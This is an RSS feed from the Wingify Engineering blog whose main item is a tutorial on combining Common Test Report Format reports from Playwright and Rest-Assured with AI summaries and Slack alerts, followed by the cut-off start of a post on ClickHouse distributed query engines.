<![CDATA[Wingify Engineering]]>

<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Wingify Engineering]]></title><description><![CDATA[This is the engineering blog from the hackers at Wingify]]></description><link>https://engineering.wingify.com/</link><image><url>https://engineering.wingify.com//logos/logo-48.png</url><title>Wingify Engineering</title><link>https://engineering.wingify.com/</link></image><generator>GatsbyJS Advanced Starter</generator><lastBuildDate>Mon, 17 Mar 2025 10:41:45 GMT</lastBuildDate><atom:link href="https://engineering.wingify.com//atom.xml" rel="self" type="application/rss+xml"/><copyright><![CDATA[Copyright © Wingify. All rights reserved.]]></copyright><item><title><![CDATA[Revolutionizing Test Reporting with AI at Wingify - A Deep Dive into CTRF Integration]]></title><description><![CDATA[Introduction Wingify dramatically improved its software testing process by integrating the Common Test Report Format (CTRF) with AI-powered…]]></description><link>https://engineering.wingify.com//posts/revolutionizing-test-reporting-with-ai/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/revolutionizing-test-reporting-with-ai/</guid><pubDate>Mon, 17 Mar 2025 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin: 10px; display: none"> <img src="/images/2025/03/ctrf-report-01.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h2 id="introduction" style="position:relative;"><a href="#introduction" aria-label="introduction permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> Wingify dramatically improved its software testing process by integrating the Common Test Report Format (CTRF) with AI-powered analysis. This resulted in a 40% reduction in test analysis time and significantly enhanced collaboration between QA and development teams. This article outlines the key improvements and provides practical guidance for implementing a similar system. <h3 id="the-challenge-slow-inefficient-test-reporting" style="position:relative;"><a href="#the-challenge-slow-inefficient-test-reporting" aria-label="the challenge slow inefficient test reporting permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Challenge: Slow, Inefficient Test Reporting</h3> Traditional software testing often involves lengthy manual analysis of test results, hindering rapid feedback loops and slowing down development cycles. At Wingify, this meant significant time was wasted sifting through test reports, identifying root causes of failures, and coordinating fixes. <h3 id="our-solution-ctrf--ai--faster-smarter-testing" style="position:relative;"><a href="#our-solution-ctrf--ai--faster-smarter-testing" aria-label="our solution ctrf ai faster smarter testing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Our Solution: CTRF + AI = Faster, Smarter Testing</h3> We addressed this challenge by implementing a three-pronged solution: <ol> <li>Standardized Reporting with CTRF: We adopted the Common Test Report Format (CTRF), a JSON-based standard for test results, ensuring consistency across our Playwright and Rest-Assured testing frameworks. This eliminated the inconsistencies and difficulties in interpreting different reporting formats.</li> <li>AI-Powered Analysis: We integrated an AI-driven test reporter that analyzes CTRF reports, identifying patterns, root causes, and suggesting potential areas for investigation. This leverages the power of OpenAI and Anthropic Claude models to provide concise, actionable summaries of test failures. (See detailed integration guides below).</li> <li>Streamlined Communication with Slack Integration: Test results and AI-generated summaries are automatically pushed to Slack, enabling real-time communication and collaboration between QA and development teams. This ensures faster issue resolution and improved sprint retrospectives.</li> </ol> <h3 id="key-results" style="position:relative;"><a href="#key-results" aria-label="key results permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Key Results:</h3> <ul> <li>40% Reduction in Test Analysis Time: AI-powered summaries significantly reduced the time spent manually analyzing test failures.</li> <li>Improved Collaboration: Real-time Slack notifications and standardized reports fostered better communication and collaboration.</li> <li>More Efficient Sprint Retrospectives: Clearer, concise reports facilitated more productive retrospective meetings.</li> <li>Better Tracking of Recurring Issues: The AI's pattern recognition capabilities helped identify and address recurring problems more effectively.</li> </ul> <h2 id="getting-started-a-high-level-overview" style="position:relative;"><a href="#getting-started-a-high-level-overview" aria-label="getting started a high level overview permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Getting Started: A High-Level Overview</h2> This system uses a simple workflow: <ol> <li>Test Execution: Run your tests using Playwright or Rest-Assured.</li> <li>CTRF Report Generation: The chosen framework generates a CTRF-compliant JSON report. For Rest-Assured (using TestNG reports), a conversion tool is used to convert TestNG reports to CTRF format.</li> <li>AI Analysis: The AI reporter processes the CTRF report and generates a summary.</li> <li>Slack Notification: The summary is automatically sent to a designated Slack channel.</li> </ol> <h2 id="detailed-integration-guides" style="position:relative;"><a href="#detailed-integration-guides" aria-label="detailed integration guides permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Detailed Integration Guides</h2> This section covers Playwright and Rest-Assured integration separately, focusing on the common elements of CTRF report generation, AI analysis, and Slack integration. <h3 id="playwright-integration" style="position:relative;"><a href="#playwright-integration" aria-label="playwright integration permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Playwright Integration</h3> First, install the Playwright CTRF JSON reporter: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">npm install --save-dev playwright-ctrf-json-reporter</code></pre></div> Configure your Playwright setup in playwright.config.ts: <div class="gatsby-highlight" data-language="jsx"><pre class="language-jsx"><code class="language-jsx">const config = { reporter: [ ["list"], // Standard Playwright reporter [ "playwright-ctrf-json-reporter", { outputFile: "ctrf/ctrf-report.json", // Optional: customize output path includeEnvironmentInfo: true, // Optional: include env details }, ], ], }; export default config;</code></pre></div> This generates a standardised CTRF-compliant JSON report with the following structure: <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">{ "results": { "tool": { "name": "playwright" }, "summary": { "tests": 1, "passed": 1, "failed": 0, "pending": 0, "skipped": 0, "other": 0, "start": 1706828654274, "stop": 1706828655782 }, "tests": [ { "name": "ctrf should generate the same report with any tool", "status": "passed", "duration": 100 } ], "environment": { "appName": "MyApp", "buildName": "MyBuild", "buildNumber": "1" } } }</code></pre></div> <h3 id="rest-assured-integration" style="position:relative;"><a href="#rest-assured-integration" aria-label="rest assured integration permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Rest-Assured Integration</h3> We've extended this approach to our Rest Assured API testing framework. Rest Assured typically uses TestNG reports. To integrate these into our AI-powered reporting system, we first need to convert the TestNG report to a CTRF-compliant JSON file using our open-sourced plugin <a href="https://github.com/wingify/testng-to-ctrf">TestNG to CTRF Converter</a>. This command will generate a CTRF JSON file. <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">testng-to-ctrf &lt;path-to-testng-results.xml></code></pre></div> <h3 id="implementing-ai-powered-analysis" style="position:relative;"><a href="#implementing-ai-powered-analysis" aria-label="implementing ai powered analysis permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Implementing AI-Powered Analysis</h3> AI analysis implementation supports both OpenAI and Anthropic Claude models. Here's how to set it up: <h3 id="openai-implementation" style="position:relative;"><a href="#openai-implementation" aria-label="openai implementation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>OpenAI Implementation</h3> First, set up your OpenAI API key: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">export OPENAI_API_KEY='your-openai-api-key'</code></pre></div> Run the AI analysis: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">npx ai-ctrf openai ctrf/ctrf-report.json --model gpt-4o --temperature 0.3</code></pre></div> <h3 id="slack-integration-setup" style="position:relative;"><a href="#slack-integration-setup" aria-label="slack integration setup permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Slack Integration Setup</h3> <h3 id="setting-up-slack-webhooks" style="position:relative;"><a href="#setting-up-slack-webhooks" aria-label="setting up slack webhooks permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Setting up Slack Webhooks</h3> <ol> <li>Navigate to Slack API's Incoming Webhooks page</li> <li>Create a new app or use an existing one</li> <li>Enable Incoming Webhooks</li> <li>Add the webhook to your workspace</li> <li>Configure the webhook URL:</li> </ol> <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">export SLACK_WEBHOOK_URL='&lt;https://hooks.slack.com/services/your/webhook/url>'</code></pre></div> <h3 id="sending-test-results-to-slack" style="position:relative;"><a href="#sending-test-results-to-slack" aria-label="sending test results to slack permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sending Test Results to Slack</h3> For basic test results: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">npx slack-ctrf results ctrf/ctrf-report.json</code></pre></div> <div style="text-align:center; margin: 10px; display: none"> <img src="/images/2025/03/ctrf-report-02.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> For AI analysis results: <div class="gatsby-highlight" data-language="bash"><pre class="language-bash"><code class="language-bash">npx slack-ctrf ai ctrf/ctrf-report.json --consolidated</code></pre></div> <h3 id="" style="position:relative;"><a href="#" aria-label=" permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a></h3> <div style="text-align:center; margin: 10px; display: none"> <img src="/images/2025/03/ctrf-report-03.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h2 id="flowchart" style="position:relative;"><a href="#flowchart" aria-label="flowchart permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Flowchart</h2> <div style="text-align:center; margin: 10px; display: none"> <img src="/images/2025/03/ctrf-report-04.png" style="box-shadow: 2px 2px 10px 1px #aaa"> </div> <h2 id="future-enhancements" style="position:relative;"><a href="#future-enhancements" aria-label="future enhancements permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Future Enhancements</h2> We're continuously working to enhance our reporting system with: <ul> <li>Custom AI models trained on our specific test patterns</li> <li>Advanced failure clustering algorithms</li> <li>Automated ticket creation based on AI analysis</li> <li>Historical trend analysis and prediction</li> <li>Generate a single analysis report for multiple jobs</li> </ul> <h2 id="best-practices-and-recommendations" style="position:relative;"><a href="#best-practices-and-recommendations" aria-label="best practices and recommendations permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Best Practices and Recommendations</h2> <h3 id="ctrf-report-generation" style="position:relative;"><a href="#ctrf-report-generation" aria-label="ctrf report generation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>CTRF Report Generation</h3> <ul> <li>Include comprehensive environment information for better context</li> <li>Combine with other reporters for complete coverage</li> <li>Use consistent naming conventions for test descriptions</li> <li>Take advantage of the standardized JSON format for custom tooling</li> </ul> <h3 id="ai-analysis-configuration" style="position:relative;"><a href="#ai-analysis-configuration" aria-label="ai analysis configuration permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>AI Analysis Configuration</h3> <ul> <li>Use GPT-4 for complex analysis needs</li> <li>Start with a lower temperature (0.3) for more consistent analysis</li> <li>Implement custom system prompts for specific analysis requirements</li> <li>Use the maxMessages parameter to prevent overwhelming the AI model</li> <li>Enable consolidation for cleaner summaries of multiple failures</li> </ul> <h3 id="slack-integration" style="position:relative;"><a href="#slack-integration" aria-label="slack integration permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Slack Integration</h3> <ul> <li>Use -onFailOnly for focused notifications</li> <li>Implement -consolidated for cleaner channels</li> <li>Create dedicated channels for different test types</li> <li>Store webhook URLs securely as environment variables</li> </ul> <h3 id="resource-management" style="position:relative;"><a href="#resource-management" aria-label="resource management permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Resource Management</h3> <ul> <li>Monitor API usage and costs, especially for OpenAI services</li> <li>Implement appropriate rate limiting for API calls</li> <li>Use consolidation features for large test suites</li> <li>Cache AI analyses for similar failure patterns</li> </ul> <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> By integrating CTRF with AI-powered analysis, Wingify has significantly improved its software testing efficiency and collaboration. This approach provides a blueprint for other organizations seeking to accelerate their testing feedback loops and improve the quality of their software. <h2 id="technical-reference" style="position:relative;"><a href="#technical-reference" aria-label="technical reference permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Technical Reference</h2> For teams looking to implement similar solutions, here are the key repositories we use: <ul> <li><a href="https://github.com/ctrf-io/slack-test-reporter">Slack CTRF Reporter</a></li> <li><a href="https://github.com/ctrf-io/playwright-ctrf-json-reporter">Playwright CTRF JSON Reporter</a></li> <li><a href="https://github.com/ctrf-io/ai-test-reporter">AI CTRF Reporter</a></li> <li><a href="https://github.com/ctrf-io/junit-to-ctrf">JUnit to CTRF Converter</a></li> <li><a href="https://github.com/wingify/testng-to-ctrf">Testng to CTRF Converter</a></li> </ul></content:encoded><author>Sahil Goyal</author></item><item><title><![CDATA[Enhancing ClickHouse Architecture with Distributed Query Engines: A Cost-Effective Transformation]]></title><description><![CDATA[Preface In high-performance data platforms, efficiency and scalability are paramount. ClickHouse, renowned for its blazing-fast analytics…]]></description><link>https://engineering.wingify.com//posts/enhancing-clickHouse-architecture-with-distributed-query-engines/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/enhancing-clickHouse-architecture-with-distributed-query-engines/</guid><pubDate>Sun, 22 Dec 2024 00:00:00 GMT</pubDate><content:encoded><h2 id="preface" style="position:relative;"><a href="#preface" aria-label="preface permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preface</h2> In high-performance data platforms, efficiency and scalability are paramount. ClickHouse, renowned for its blazing-fast analytics, is no exception. Our team recently transitioned from a traditional architecture—utilizing a combination of ReplicatedMergeTree and Distributed engines on the same nodes—to a more sophisticated distributed query engine design. This article explores the motivation behind this shift, the implementation, and the remarkable results. <h2 id="old-architecture-unified-nodes-for-storage-and-queries" style="position:relative;"><a href="#old-architecture-unified-nodes-for-storage-and-queries" aria-label="old architecture unified nodes for storage and queries permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 